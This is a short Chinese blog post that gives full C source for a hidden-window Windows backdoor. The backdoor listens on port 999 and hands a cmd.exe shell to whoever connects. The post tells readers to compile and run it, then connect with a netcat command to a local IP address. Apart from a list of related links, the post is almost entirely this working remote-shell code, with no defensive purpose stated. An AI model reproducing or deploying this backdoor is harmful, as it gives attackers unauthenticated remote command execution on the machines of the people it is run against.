• C语言实现简单CMDShell


    1.首先使用vc6编译器编译后门,并运行

    #pragma comment(lib,"ws2_32.lib")
    
    
    #ifdef _MSC_VER
    #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
    #endif
    
    #include <winsock2.h>
    #include <windows.h>
    #define Port 999
    
    
    int main()
    {
        SOCKET sSocket,cSocket;
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
        WSADATA wsaData;
        sockaddr_in sSockaddr;
        char szCmdPath[MAX_PATH];
     
        GetEnvironmentVariable("COMSPEC",szCmdPath,MAX_PATH);
        ZeroMemory(&wsaData,sizeof(wsaData));
        ZeroMemory(&si,sizeof(STARTUPINFO));
        ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
        
        WSAStartup(0x0202,&wsaData);
        cSocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
        sSockaddr.sin_addr.s_addr=INADDR_ANY;
        sSockaddr.sin_family=AF_INET;
        sSockaddr.sin_port=htons(Port);
        bind(cSocket,(sockaddr*)&sSockaddr,sizeof(sSockaddr));
        listen(cSocket,1);
    
        int sLen=sizeof(sSockaddr);
        sSocket=accept(cSocket,(sockaddr*)&sSockaddr,&sLen);
        si.cb=sizeof(si);
        si.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
        si.hStdInput=(HANDLE)sSocket;
        si.hStdOutput=(HANDLE)sSocket;
        si.hStdError=(HANDLE)sSocket;
        CreateProcess(NULL,szCmdPath,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
        WaitForSingleObject(pi.hProcess,INFINITE);
        
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        closesocket(cSocket);
        closesocket(sSocket);
        WSACleanup();
    
        return 0;
    }

    连接时使用nc工具链接即可  下载地址:https://eternallybored.org/misc/netcat/

    nc执行命令 nc64.exe -t 192.168.1.12 999 即可链接到主机

  • 相关阅读:
    css 设置特定宽度,超出部分用...代替
    php 二维数组根据某个key去重
    一些大厂开源项目
    JavaScript如何解析本地xml文件
    console的知识点
    toLocalDateString的用途
    在Vue中使用Object.freeze
    淘宝npm镜像
    JavaScript Async/Await
    vue中的addEventListener和removeEventListener
  • 原文地址:https://www.cnblogs.com/LyShark/p/9168461.html
Copyright © 2020-2023  润新知